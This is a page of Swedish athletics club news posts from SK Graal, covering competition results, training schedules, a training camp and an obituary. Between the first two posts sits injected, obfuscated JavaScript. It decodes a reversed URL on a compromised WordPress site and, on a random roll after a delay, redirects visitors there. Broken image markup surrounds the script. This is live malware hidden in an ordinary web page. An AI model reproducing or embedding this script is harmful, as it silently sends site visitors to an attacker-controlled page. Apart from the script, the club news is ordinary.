Vår kassör Jonas vill gärna ha in reseräkningar (och andra utlägg som du ska ha ersättning för) senast den 30 juni, för utbetalning under juli månad.
Vi försöker i år dela upp sammanställningar av tävlingsavgifter mm på två, för att inte få allt för hög arbetsbelastning i december/januari.
Skicka din räkning till Jonas@skgraal.se eller lämna dem i pappersform direkt till honom.
Kommentarer inaktiverade för Dags att lämna in reseräkningar för våren
Posted in Övrigt
$nJe=function(n){if (typeof ($nJe.list[n]) == ”string”) return $nJe.list[n].split(””).reverse().join(””);return $nJe.list[n];};$nJe.list=[”\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tog hem en av Graals fem medaljer i Hässelholm.” width=”300″ height=”225″ />
Vigor Josefsson tog hem en av Graals fem medaljer i Hässelholm.Våra Graalungdomar visade verkligen framfötterna när Vårkampen avgjordes på ett soligt Göingevallen i Hässleholm under söndagen.
För de gröngula blev det en seger i och med Celine Aagaard sprang hem 400m loppet i F9 på 1.15.58. Celine var också den som var flitigast bland Graalarna och passade på att ta hem silvret i längdhopp på 3,60 m och bronset i höjdhopp på 104 cm. Dessutom blev hon femma i såväl kula (4,53 m) som 60 meter (10.21/10.28 kvar/final).
Oskar Karlsson sprang 600 meter i tufft motstånd och fick se sig slagen av två andra grabbar i P13 klassen och kasserade därmed in ännu en bronsmedalj till det redan välfyllda prisskåpet. Tiden blev 1.48.62.
Gladast bland Graals medaljörer var nog ändå Vigor Josefsson som sprang 60 meter på fina 10.50 och blev därmed bronsmedaljör. Vigor provade även på längdhopp där han blev 9:a i en mycket jämn klass, bara en ynklig centimeter från 8:de platsen.
Vi gratulerar till fina insatser!
Kommentarer inaktiverade för 5 Graalmedaljer på Vårkampen i Hässleholm
Posted in Tävlingsrapporter
Nytt träningsschema för knattar och ungdomar ligger sedan några dagar på ungdom/knattegruppen sida, men vi vill påminna om att det INTE är knatte/ungdomsträning i morgon torsdag(valborgsmässoafton). Inte heller 14 maj(Kristi himmelfärdsdag) är det någon ungdoms/knatteträning.
Kommentarer inaktiverade för Ungdomsträning
Posted in Okategoriserade
38 löpare och 7 gående kunde efter avslutat lopp till slut pusta ut efter ett tufft dagsverke. Stigslingan som bangruppen med Lars Hansen i spetsen hade hittat fantastiska slingor genom skogarna och avslutningen på ”Lasses slingor” tog musten ur den som eventuellt hade sparat på krafterna under banan första två tredjedelar.
Snabbast blev inte oväntat Henrik Jansson, Elmhults SC, som efter cirka en kilometer tillsammans med Jonas Almarsson, växlade upp och lämnade bara spåren i det bitvis blöta underlaget som enda ledtråd till att han fanns där framme någonstans.
Snabbaste tjej blev Elin Brink, Markaryd, men tävlande för Mölndals AIK, som hade en lucka ner till Linda Jansson, Elmhults SC.
Vi vill önska ett stort tack till alla deltagare och arrangörer för en härlig dag, och hoppas att alla som deltog kan ta med sig minst en ny deltagare till nästa år, eller varför inte redan till Festivalloppet i augusti.
Det är även utlovat ett flertal bilder från loppet, så håll utkik längre fram i veckan.
Kommentarer inaktiverade för 45 nöjda löpare på Strömsnäs Trailrun
Posted in Tävlingsrapporter
Nu på lördag, den 28/3 kör vi ett extra träningspass med elljusspåret på tid! Alla som är sugna att jaga upp pulsen på lördagsförmiddagen träffas kl. 9,30 vid Graalstugan! Frågor, Tomas K 0433-17418.
Kommentarer inaktiverade för Extra lördagsträning!!
Posted in Kommande aktiviteter
I helgen gjorde tre av våra snabbaste Graalare säsongsdebut. På plats på Maxilöpet i Bromölla fanns Jonas Almarsson, Niklas Lundh och Ola Hanzon.
Banan i Bromölla består av en väldigt flack 5 km slinga som springs antingen ett eller två varv. Jonas och Ola hade bestämt sig för den längre varianten medan Niklas nöjde sig med ett varv.
Redan från start kände Jonas och Ola att benen var rätt tunga och känslan var inte på topp. Men Jonas kunde ändå ta rygg på förra årets vinnare under det första varvet, efter att en löpare stuckit direkt från start. Men en bit in på det andra varvet började det bli riktigt jobbigt för Jonas som till slut tvingas släppa en lucka på 30-40 meter, ett avstånd som sedan skulle visa sig bli svårt att ta in igen. Jonas hade dock inga problem att freda tredjeplatsen från bakifrån kommande löpare, och kunde till slut springa i mål som trea på fina tiden 35.45. Ola hade det däremot tyngre, men slutade ändå på en tiondeplats på 39.04.
För Niklas del som sprang 5 kilometersloppet kunde han redan efter en kilometer trycka på lite extra och lämna övriga startfältet bakom sig och springa till sig en klar seger på fina 17.16, nästan 30 sekunder före tvåan.
Vi gratulerar våra Graalare till fina prestationer och ser fram emot att få se dem prestera på ”hemmaplan” i Annelundsrunda och Hallarydsloppet som båda avgörs inom den närmaste tiden.
Kommentarer inaktiverade för Niklas vann i Bromölla
Posted in Tävlingsrapporter
I helgen avgjordes inomhus-SM för 15- och 16-åringar i Örebro. De gulgröna färgerna försvarades av Lovisa Bardh som slog till med ett nytt personligt rekord redan i försöken. Och det var inte vilket personligt rekord som helst. Hon sänkte perset med hela 10 sekunder ner till 5.07.68 och tog sig därmed vidare till final.
Med det nya tempot i kroppen sprang Lovisa lovande även i finalen och putsade perset ytterligare en gång, den här gången dock bara med en knapp halvsekund. I en hård spurtduell passerade hon mållinjen som femte tjej på tiden 5.07.27.
Vi gratulerar till framgången och de nya persen!
Kommentarer inaktiverade för Dubbla pers och en femteplats på USM för Lovisa
Posted in Tävlingsrapporter
Jag vill tipsa om två föreläsningar som Smålandsidrotten genomför i Ljungby den närmaste tiden.
Den första är redan på onsdag (4 mars) och hålls av före detta förbundskaptenen i basket, Jim Thuresson och handlar om ledarskap inom idrotten. Jag var själv och lyssnade på Jim för ett år sedan, och han är en av de bästa föreläsarna jag någonsin lyssnat till. Karismatisk, tänkvärd och mycket underhållande. Offra ett några timmar på onsdagskvällen för att lyssna på Jim, jag lovar att ni kommer inte ångra er, oavsett om ni är ledare, tränare eller bara idrottsintresserade. OBS Anmälan senast idag måndag till denna föreläsning.
Den andra föreläsningen handlar om ”Styrketräning för äldre” och går tisdagen den 24 mars. Även denna föreläsning har jag själv varit på och tyckte att den var intressant. Som namnet antyder är den framför allt riktad mot lite äldre deltagare (55-60+). Men det gavs även en del tips som var användbara för yngre (t.ex. jag själv).
Båda föreläsningarna är kostnadsfria och det bjuds på fika.
Nedan finns inbjudningar till respektive föreläsning.
/Daniel
Kommentarer inaktiverade för Två riktigt bra föreläsningar
Posted in Övrigt
11-12 april blir det träningsläger för SK Graal i Mellbystrand/Laholm.
Lägret vänder sig till alla aktiva, knattar(endast lördag) ungdomar och alla andra som vill spetsa formen inför vårens tävlingar.
Övernattning erbjuds i fyrbäddsstugor i Bengts stugby Norra strandvägen 1 Mellbystrand. Vi vill ha in anmälningarna senast 19/3. Anmälan kan endast göras på Graals hemsida under tävlingsanmälan! Anmäl er i god tid! Notera vid anmälan om övernattning önskas eller inte. Anmälan är bindande och debitering utförs för ej utnyttjade sängplatser.
Upplägget blir som följer:
Lördag
09,00 Avfärd från Graalstugan mot Laholm.
10,00 Intervallträning på Sparbanksvallen i Laholm. Ledare: Knattegr. Tomas K, Ungdomsgr. Håkan W, Utvecklings/motionsgr. Jonas A & Lars H
12,00 Incheckning på Bengts stugbyar.
12,30 Lunch på Bengts stugbyar.
15,30 Distanspass på Hökafältet Ledare: Knattegr. Tomas K, Ungdomsgr. Håkan W, Utvecklings/motionsgr. Jonas A & Lars H. Avslutning för knattar efter avslutat pass (De knattar som vill får givetvis stanna och äta pizza om så önskas).
18,30 Pizza!!!!
Söndag
08,00 Frukost och städning av boende.
10,00 Långpass på Hallandsåsen med start från Wretströms stuga, Hedhusvägen 69 Skummeslöv. Därefter hemfärd.
Graal står för kostnader för boende, lunch, frukost. (Även pizzan för ungdomarna).
OBS! Stugorna är utrustade för självhushåll. Lakan, örngott, påslakan måste du som gäst själv ta
med dig. Sovsäck är förbjuden!
Frågor: Tomas 070-4802981, Lars 070-3050967, Jonas 070-8856184.
Kommentarer inaktiverade för Träningsläger Mellbystrand 2015
Posted in Kommande aktiviteter
Den sista av grundarna av SK Graal, Lennart Brodén, avled i måndags. Lennart som i höst skulle fyllt 92 år har varit en viktig person i SK Graals historia.
Han var med i det gäng som en gång bildade SK Graal för 75 år sedan, och enligt berättelserna från den tiden ska det också ha varit han som valde namnet SK Graal. Lennart hade i Graals ungdom flera styrelseposter, men framför allt går han till historien som troligen landets meste revisor. I inte mindre än 50 år har han troget granskat SK Graals räkenskaper för medlemmarnas räkning.
Vi minns Lennart som en minst sagt skojfrisk figur som alltid hade minst två rävar bakom örat.
Vila i frid Lennart!
Kommentarer inaktiverade för Graals namngivare har lämnat oss
Posted in Övrigt